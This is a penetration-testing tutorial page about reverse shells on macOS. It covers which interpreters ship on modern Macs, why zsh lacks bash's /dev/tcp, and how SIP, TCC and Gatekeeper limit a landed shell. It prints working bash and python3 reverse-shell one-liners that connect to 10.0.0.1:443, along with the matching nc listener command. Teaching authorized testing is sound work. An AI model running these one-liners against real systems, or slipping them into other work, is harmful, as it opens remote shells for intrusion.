Skip to content
reverseshell

macOS Reverse Shell: zsh, an Old Bash, and Maybe No Python

How reverse shells work on macOS targets — which interpreters ship, why the default shell is zsh, and the SIP/TCC realities of authorized Mac testing.

Published on 3 min read

macOS is Unix, so reverse shells work much as they do on Linux — but the interpreter landscape is quirky enough to trip you up. Apple froze bash years ago, switched the default shell to zsh, and has been steadily removing bundled scripting runtimes. Knowing what is actually on a modern Mac saves you firing a payload that was never going to run.

What Ships on a Modern Mac

  • bash 3.2 — still present at /bin/bash, but ancient (Apple froze it to avoid GPLv3). The good news: /dev/tcp works in bash 3.2, so the classic one-liner is fine if you invoke bash explicitly.
  • zsh — the default interactive shell since Catalina. zsh does not provide bash's /dev/tcp, so do not assume the default shell will run a bash one-liner.
  • python3maybe. Apple removed bundled Python 2, and Python 3 is only present if the Command Line Tools / Xcode are installed. Do not count on it.
  • perl, ruby — usually present, though Apple has deprecated these scripting runtimes, so future removal is likely.
  • nc — present.

The practical takeaway: enumerate before you choose, exactly as in the OSCP/CTF workflow.

The Payloads That Work

Bash, invoked explicitly (do not rely on the default shell being bash):

bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'

Python 3, if Command Line Tools are installed — the standard python reverse shell:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/zsh")'

Note /bin/zsh as the spawned shell — it is the native interactive shell on macOS and gives a more natural session than bash 3.2. Catch either with nc -lvnp 443.

SIP, TCC, and Gatekeeper

macOS adds protections that shape what your shell can do once it lands — relevant when testing realistically:

  • SIP (System Integrity Protection) locks down system files even from root.
  • TCC (Transparency, Consent & Control) gates access to sensitive data (Documents, camera, etc.) behind per-app consent — your shell inherits the permissions of the process it runs in, so a shell from a sandboxed app sees very little.
  • Gatekeeper affects dropped binaries, which is one more reason to prefer a fileless interpreter one-liner over a compiled payload.

These do not stop the reverse shell connecting; they shape what comes after.

When It Won't Connect

  1. Assumed bash but got zsh — invoke bash -c '...' explicitly.
  2. No python3 — Command Line Tools not installed; fall back to bash, perl, or ruby.
  3. Egress filtered — prefer 443/80; test per egress filtering.
  4. Listener mismatch — see choosing a listener.

Full checklist: why reverse shells fail.

Generate It

The reverse shell generator emits the bash and python payloads with your LHOST/LPORT and the matching listener; on macOS, pick the interpreter you confirmed is present.

Authorized Testing Only

Use macOS reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.